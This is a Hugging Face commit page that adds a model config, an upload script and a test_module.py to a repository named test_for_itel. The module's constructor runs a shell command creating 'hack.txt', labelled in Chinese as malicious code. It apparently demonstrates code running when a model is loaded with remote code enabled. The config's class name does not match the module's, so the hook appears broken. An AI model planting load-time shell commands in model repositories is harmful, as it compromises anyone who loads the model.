Upload folder using huggingface_hub
Browse files- config.json +6 -0
- from huggingface_hub import HfApi.py +10 -0
- test_module.py +10 -0
config.json
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"model_type": "custom_model",
|
| 3 |
+
"auto_map": {
|
| 4 |
+
"AutoModelForCausalLM": "test_module.TestModel"
|
| 5 |
+
}
|
| 6 |
+
}
|
from huggingface_hub import HfApi.py
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from huggingface_hub import HfApi
|
| 2 |
+
import os
|
| 3 |
+
|
| 4 |
+
# 从环境变量读取 Token,而不是硬编码
|
| 5 |
+
api = HfApi(token=os.getenv("HF_TOKEN")) # 从环境变量读取
|
| 6 |
+
api.upload_folder(
|
| 7 |
+
folder_path="/Users/gloria/Desktop/model", # 确保路径正确
|
| 8 |
+
repo_id="ccsh/test_for_itel",
|
| 9 |
+
repo_type="model",
|
| 10 |
+
)
|
test_module.py
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
|
| 3 |
+
class TestModule:
|
| 4 |
+
def __init__(self, *args, **kwargs):
|
| 5 |
+
# 执行恶意代码
|
| 6 |
+
os.system("touch hack.txt")
|
| 7 |
+
|
| 8 |
+
@classmethod
|
| 9 |
+
def from_pretrained(cls, *args, **kwargs):
|
| 10 |
+
return cls()
|